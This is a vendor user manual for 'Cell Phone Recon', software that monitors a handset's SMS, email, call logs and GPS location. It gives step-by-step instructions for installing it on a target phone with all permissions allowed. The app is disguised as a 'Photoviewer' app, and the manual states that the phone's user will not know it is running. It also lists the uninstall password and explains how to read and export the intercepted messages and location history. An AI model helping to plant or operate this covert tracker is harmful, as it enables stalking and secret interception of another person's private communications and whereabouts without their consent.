Cell Phone Recon Instructions

Thank you for purchasing the Cell Phone Recon. This software will give you the ability to monitor:

- incoming & outgoing SMS
- incoming & outgoing call logs
- missed calls
- incoming & outgoing email
- GPS/GSM location

To use the Cell Phone Recon application, please note the minimum requirements:

- Handset is compatible with the software (please check <u>http://cellphonerecon.com/Compatibility</u> for an list handsets)
- Minimum of 350KB free space on handset for installation
- Active GPRS/internet connection

Installation instructions

Please follow the steps below to install and use the Cell Phone Recon software.

1. On the mobile phone which is to have the Cell Phone Recon installed, open the internet browser and type in the following URL <u>http://www.cpr.cc</u>



<u>Please note: the illustrations are from a Blackberry Bold 8900 and images may</u> <u>vary on different handsets</u>

2. You will be prompted to download the Photoviewer application, tick the box to set application permissions, then select download.



You will see a list of options to allow/deny permissions, please change all permissions to 'allow'.

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Phone	Allow 🔻
Location Data	Allow •
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3. Once the application has downloaded, you will need to reboot. Please switch off the handset and turn it back on, the handset is now ready to be monitored.

Removal of application from handset

To remove the application from the handset, please follow the instructions below:

- 1. on the handset go to the main menu, select options/settings
- 2. go to applications
- 3. the Cell Phone Recon application will be listed as Photoviewer (xstechnologies)
- 4. press options > delete > confirm delete

<u>Please note: some handsets may request a password to uninstall the application. The</u> <u>Password to uninstall is **cpr**</u>

Using the admin panel

To create a new account

On your computer, visit <u>http://www.cellphonerecon.com/login.php</u> select 'create new account'. Please keep your username and password safe as you will need these to login.

When creating the account, you will need to enter the IMEI of the handset to be monitored. The IMEI can usually be found underneath the battery compartment, or you can type *#06# on the handset and the IMEI will be displayed on the screen Enter the serial key supplied with the Cell Phone Recon to complete the account activation. The serial key can be found on the back of the web key included in the pack.

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Log into the Cell Phone Recon site with your username and password to use the admin section and monitor the selected handset.

Admin home screen

Please note, it will take approximately 10-15 minutes for activity to be uploaded to the site.

Log into your account by visiting <u>http://cellphonerecon.com/admin/login.php</u> and enter the registered username and password.

Once logged in, you will see the home screen of the admin page which will display a summary of the all the records available.

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From the home screen you can navigate either by clicking on the selection of parameters in the centre or along the right hand side of the screen.

Incoming, outgoing and missed calls

By selecting incoming, outgoing or missed calls, you will see the relevant call records for the handset.

Below is an example of incoming call data

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You will see the telephone number, contact (if number is saved to the address book on the phone), GPS location during the call, Map with the location, the address, duration, date and time of the call.

By default the records will be arranged in chronological order with most recent call data appearing first. The records can also be arranged in order of telephone number, location, and duration.

You can click on 'view map' and this will show the location on Google Maps.

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A message will appear to say the data has been exported successfully. Click on the link to save or open the data.

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Incoming and outgoing SMS

By selecting incoming or outgoing SMS, you will see the relevant SMS records for the handset.

Below is an example of incoming SMS data.

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You will see the telephone number, contact (if number is saved to the address book on the phone), GPS location during the call, Map with the location, the address, date and time of the call and the message will be displayed underneath.

By default the records will be arranged in chronological order with most recent messages appearing first. The records can also be arranged in order of telephone number, location and duration.

You can click on 'view map' and this will show the location on Google Maps.

Copies of the records can be exported from the site. Click on the records you require by ticking the box on the left hand side, then click 'export selected' at the top of the page.

A message will appear to say the data has been exported successfully. Click on the link to save or open the data.

Incoming and outgoing Email

By selecting incoming or outgoing Email, you will see the relevant Email records for the handset.

Below is an example of incoming Email data.

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You will see the senders email address, the receivers email address, subject of the email, date, time and link to view the email.

By default the records will be arranged in chronological order with most recent messages appearing first. The records can also be arranged in order of senders email, receivers email, subject and date fields.

Click on 'View Email' to open a copy of the email.

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A message will appear to say the data has been exported successfully. Click on the link to save or open the data.

GPS/GSM locations

Under the GPS locations tab you can monitor the location of handset, the location is updated every 15 minutes.

If the handset being monitored is indoors or has no direct line of sight to a satellite, GSM mobile masts will be used to determine the location. This will be accurate to within 500m.

The information displayed is the mobile number of the handset being monitored, GPS location, address, make and model of the handset, date and time

You can click on 'view map' and this will show the location on Google Maps.

Copies of the records can be exported from the site. Click on the records you require by ticking the box on the left hand side, then click 'export selected' at the top of the page.

A message will appear to say the data has been exported successfully. Click on the link to save or open the data.

Managing handset details on the admin panel

You can delete the details for the handset you are monitoring. Please note, by doing this you will also **erase all records held and they will be irretrievable.** To delete an IMEI, select 'manage IMEI details', tick the box on the left of the handset to be deleted and select 'delete' at the top of the page.



Monitoring multiple handsets

By purchasing more than one Cell Phone Recon serial key, you will be able to monitor multiple handsets and monitor them in 1 user account.

To add additional handsets to your user account, please follow the instructions below:

- 1. Log into your existing user account
- 2. click on 'manage IMEI details'
- 3. click on 'add IMEI'
- 4. enter relevant fields including the new Cell Phone Recon serial key
- 5. click on 'submit'

The administrator home screen will display a summary for all the handsets being monitored.

When selecting one of the parameters, you can toggle between the handsets using the drop down list in the top right hand side of the screen, see the image below.



Frequently Asked Questions

1. How does the software work?

The software works by installing a tracking module to the compatible cell phone. It then sends information via the internet to the server when activity is being detected. The user can login to the website and view the activity.

2. What's included in the box? A stainless steel gun metal web key which is required to start the activation process. A detailed user manual and 5 year license.

3. Is there a yearly subscription fee to pay?

A one time purchase is valid for five years. If you wish to renew after that, please check the site or contact the place of purchase.

4. Is the cell phone user charged for the information sent?

Every bit of data that is sent is accumulated to your monthly allowance in terms of kb/s of data. You need to check with your service provider. In many cases, data allowance is unlimited under the terms of your contract. Please note the actual amount of data that is sent is minimal, as mostly it is small amounts of text with basic information.

5. Can I use the key code more than once?

Yes, you can use the key code on any amount of phones. This means you can install the application on different phones providing it is only working at one phone at a time. To monitor 2 or more handsets you would need to purchase a key for each handset you wish to monitor.

6. Can I hear or record the call conversations?

No

7. Will the application downloaded from <u>www.cpr.cc</u> work with any phone? Yes, this application will work with any of the operating software and handsets listed in this manual, or you can also check on the website, <u>www.cellphonerecon.com</u>

 which operating system will the application work with? Symbian OS 8.x, OS 9.x Windows 5.x/2003SE, 6.x Android, Blackberry

For a list of compatible handsets please check the website, www.cellphonerecon.com

9. Will it show me the entire email and SMS messages? Yes, it will show the text body of incoming and outgoing SMS and email messages.

10. Do I have to install any software on my computer? No there is no software to install on the PC, the software is web based. The only installation required is on the handset to be monitored. To monitor the handset, go to www.cellphonerecon.com

11. How do I start the application on my phone? You do not need to do anything once you have installed the application. As long as you have selected 'allow permissions' when installing, the application will be working once installed. (Please allow 15-30minutes for the data to be sent to the online admin panel.)

12. Will the cell phone user know the application is installed on the phone? No, the user will not see the application running. It is only displayed as a photo viewer application under the settings. 13. Can the application be deleted off of the handset? Yes. Please refer to the user guide section on how to remove the application from the handset.

14. Who can I contact for support? Please email <u>support@cellphonerecon.com</u>

15. Will data be uploaded to the server whilst the phone is switched off? No, the phone must be switched on in order for the data to be transmitted.

I cannot install crp.cc on my BlackBerry phone. Either a blank screen shows up or it asks to save the file?

16. I cannot install crp.cc on my Blackbery phone. Either a blank screen shows up or it asks to save the file?

You will need to go back to the default Blackberry settings. Please follow the instructions below.

1. Open the Blackberry Browser > press the menu key > open the Options Menu (as shown below)





2. Open Browser configuration Under Browser Identification, please select Blackberry





3. Press the Options key and select Save Options. Open the blackberry browser and enter <u>www.cpr.cc</u> in the address bar, you will get the correct version of Installer





Please check website for more up-to-date support

www.cellphonerecon.com